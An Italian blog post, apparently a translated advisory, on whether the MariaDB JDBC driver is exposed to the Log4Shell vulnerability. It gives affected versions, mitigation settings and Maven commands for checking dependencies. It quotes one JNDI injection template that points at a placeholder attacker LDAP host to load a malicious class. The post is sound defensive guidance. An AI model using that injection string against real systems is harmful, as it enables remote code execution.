MariaDB
 sql >> Database >  >> RDS >> MariaDB

Il driver JDBC MariaDB è interessato dalla vulnerabilità di Log4j?

Il connettore Java MariaDB è interessato dalla vulnerabilità di sicurezza recentemente scoperta in Log4? Per impostazione predefinita, il connettore Java non utilizza Log4j. Tuttavia, se lo hai configurato per utilizzare SLF4j, continua a leggere.

Per informazioni oltre l'ambito del driver JDBC MariaDB, leggere Log4Shell e MariaDB.

Nota :questo blog è stato aggiornato il 15-12-2021 per includere dettagli relativi a CVE-2021-45046.

La vulnerabilità di Log4j

Apache Log4j è un popolare framework di registrazione open source per applicazioni Java. Viene utilizzato in una varietà di progetti open source e aziendali, inclusi fornitori di servizi cloud e fornitori di servizi di posta elettronica. Il 9 dicembre 2021 è stata rilevata una vulnerabilità di 0 giorni in Log4j che potrebbe comportare l'esecuzione di codice in modalità remota, consentendo a un hacker di eseguire codice arbitrario in un sistema. La vulnerabilità è nota come "Log4Shell" ed è tracciata come CVE-2021-44228.

In breve, la vulnerabilità consente a un utente malintenzionato di iniettare una stringa di ricerca JNDI che invoca, ad esempio, un server LDAP remoto (controllato dall'attaccante) che a sua volta restituisce una classe Java dannosa:

${jndi:ldap://[attacker_site]/[malicious_java_class]}

Se una stringa come questa viene registrata da Log4j, una classe Java dannosa può eseguire codice arbitrario (tramite un blocco di codice statico, ad esempio).

Versioni interessate

Fortunatamente, sono interessate solo le versioni di Log4j 2.x precedenti alla 2.15.0. Per ulteriori informazioni, vedere la pagina delle vulnerabilità di sicurezza di Apache Log4j. La vulnerabilità non è presente nelle versioni Log4j 1.x.

Come mitigare CVE-2021-44228

La migliore strategia per mitigare la vulnerabilità è aggiornare la dipendenza Log4j nei tuoi progetti. La versione 2.16.0, che rimuove le ricerche di messaggi, è già disponibile. Complimenti al team per averlo rilasciato rapidamente.

Aggiorna :Log4j 2.16.0 corregge anche la seconda vulnerabilità rilevata come CVE-2021-45046.

Il driver JDBC MariaDB non utilizza Log4j 2.x. Tuttavia, supporta SLF4J. Verifica se stai utilizzando il raccoglitore Log4j per SLF4J e, in tal caso, aggiorna Log4j di conseguenza o imposta la seguente variabile di configurazione:

-Dlog4j2.formatMsgNoLookups=true

Oppure imposta la seguente variabile di ambiente:

LOG4J_FORMAT_MSG_NO_LOOKUPS=true

Nota :La registrazione è abilitata solo se impostata esplicitamente dal log parametro. Oltre a Log4j, puoi anche optare per altri collegamenti SLF4J come Jakarta Commons Logging, Logback o Java Logging API.

Se stai usando Maven, puoi eseguire il seguente comando per scoprire se il tuo progetto dipende da Log4j:

mvn dependency:tree -Dincludes=org.apache.logging.log4j:log4j-core

Ecco un esempio del tipo di output che otterrai in un progetto vulnerabile:

Se per qualche motivo il tuo progetto non viene compilato puoi in alternativa eseguire:

mvn help:effective-pom

Cerca il log4j-core dipendenza e verifica la versione utilizzata.

Ulteriori informazioni

Elenco dei link nel blog:

  • Connettore Java MariaDB
  • SLF4j
  • Blog correlato Log4Shell e MariaDB
  • CVE-2021-44228
  • Vulnerabilità della sicurezza di Apache Log4j
  • Apache Log4j versione 2.16.0
  • log parametro